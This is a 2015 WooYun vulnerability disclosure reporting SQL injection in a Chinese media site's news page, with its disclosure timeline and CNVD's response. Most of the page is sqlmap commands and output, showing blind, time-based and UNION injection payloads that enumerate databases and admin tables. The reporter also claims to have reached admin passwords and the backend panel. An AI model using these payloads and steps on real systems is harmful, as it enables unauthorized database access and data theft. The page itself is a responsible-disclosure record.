当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0142398

漏洞标题:银河传媒网站存sql注入漏洞(进后台)

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-09-23 22:49

修复时间:2015-11-08 16:54

公开时间:2015-11-08 16:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-23: 细节已通知厂商并且等待厂商处理中
2015-09-24: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-10-04: 细节向核心白帽子及相关领域专家公开
2015-10-14: 细节向普通白帽子公开
2015-10-24: 细节向实习白帽子公开
2015-11-08: 细节向公众公开

简要描述:

银河传媒网站存在SQL注入漏洞。还被人挂了黑页。我只是检测,黑页不关我事

详细说明:

注入点:http://**.**.**.**/news/newscontent.php?id=218
参数id存在注入。
可以爆出管理员密码。DBA权限。
管理后台http://**.**.**.**/manage/index.php

漏洞证明:

D:\tool\sqlmap>sqlmap.py -u  http://**.**.**.**/news/newscontent.php?id=218 --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150821}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'
s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:05:14
[16:05:15] [INFO] resuming back-end DBMS 'mysql'
[16:05:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=218 AND 7760=7760
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=218 AND (SELECT * FROM (SELECT(SLEEP(5)))wEXF)
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: id=-8578 UNION ALL SELECT NULL,CONCAT(0x7162717871,0x76525953466e6b4b6e51,0x71786a6b71),NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:05:15] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.12
[16:05:15] [INFO] fetching database names
[16:05:15] [WARNING] the SQL query provided does not return any output
[16:05:15] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch
'--hex'
[16:05:15] [INFO] fetching number of databases
[16:05:15] [INFO] resumed: 14
[16:05:15] [INFO] resumed: information_schema
[16:05:15] [INFO] resumed: gmedia
[16:05:15] [INFO] resumed: gmedia_admin
[16:05:15] [INFO] resumed: gmedia_wap
[16:05:15] [INFO] resumed: icinga
[16:05:15] [INFO] resumed: jfdaily
[16:05:15] [INFO] resumed: meeting
[16:05:15] [INFO] resumed: mo_comm
[16:05:15] [INFO] resumed: mo_gmedia
[16:05:15] [INFO] resumed: mobilenumber
[16:05:15] [INFO] resumed: mysql
[16:05:15] [INFO] resumed: mzu
[16:05:15] [INFO] resumed: test
[16:05:15] [INFO] resumed: zabbix
available databases [14]:
[*] gmedia
[*] gmedia_admin
[*] gmedia_wap
[*] icinga
[*] information_schema
[*] jfdaily
[*] meeting
[*] mo_comm
[*] mo_gmedia
[*] mobilenumber
[*] mysql
[*] mzu
[*] test
[*] zabbix
[16:05:15] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'
D:\tool\sqlmap>sqlmap.py -u http://**.**.**.**/news/newscontent.php?id=218 -D gmedia_admin --tables
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150821}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user'
s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:06:10
[16:06:10] [INFO] resuming back-end DBMS 'mysql'
[16:06:11] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=218 AND 7760=7760
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: id=218 AND (SELECT * FROM (SELECT(SLEEP(5)))wEXF)
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: id=-8578 UNION ALL SELECT NULL,CONCAT(0x7162717871,0x76525953466e6b4b6e51,0x71786a6b71),NULL,NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:06:11] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.12
[16:06:11] [INFO] fetching tables for database: 'gmedia_admin'
[16:06:11] [WARNING] the SQL query provided does not return any output
[16:06:11] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch
'--hex'
[16:06:11] [INFO] fetching number of tables for database 'gmedia_admin'
[16:06:11] [INFO] resumed: 20
[16:06:11] [INFO] resumed: gmedia_agent
[16:06:11] [INFO] resumed: gmedia_code
[16:06:11] [INFO] resumed: gmedia_code_type
[16:06:11] [INFO] resumed: gmedia_content
[16:06:11] [INFO] resumed: gmedia_item
[16:06:11] [INFO] resumed: gmedia_survey
[16:06:11] [INFO] resumed: gmedia_survey_item
[16:06:11] [INFO] resumed: gmedia_user
[16:06:11] [INFO] resumed: mo_blog
[16:06:11] [INFO] resumed: mo_blog_media
[16:06:11] [INFO] resumed: mo_code_format
[16:06:11] [INFO] resumed: mo_logo
[16:06:11] [INFO] resumed: mo_mobile
[16:06:11] [INFO] resumed: mo_soft
[16:06:11] [INFO] resumed: qr_info
[16:06:11] [INFO] resumed: qr_publish
[16:06:11] [INFO] resumed: qr_survey
[16:06:11] [INFO] resumed: qr_survey_user
[16:06:11] [INFO] resumed: vote_items
[16:06:11] [INFO] resumed: vote_title
Database: gmedia_admin
[20 tables]
+--------------------+
| gmedia_agent |
| gmedia_code |
| gmedia_code_type |
| gmedia_content |
| gmedia_item |
| gmedia_survey |
| gmedia_survey_item |
| gmedia_user |
| mo_blog |
| mo_blog_media |
| mo_code_format |
| mo_logo |
| mo_mobile |
| mo_soft |
| qr_info |
| qr_publish |
| qr_survey |
| qr_survey_user |
| vote_items |
| vote_title |
+--------------------+
[16:06:11] [INFO] fetched data logged to text files under 'C:\Users\Administrator\.sqlmap\output\**.**.**.**'
[*] shutting down at 16:06:11


银河传媒后台.png

修复方案:

过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-09-24 16:53

厂商回复:

CNVD确认所述情况,已由CNVD通过网站管理方公开联系渠道向其邮件通报,由其后续提供解决方案。

最新状态:

暂无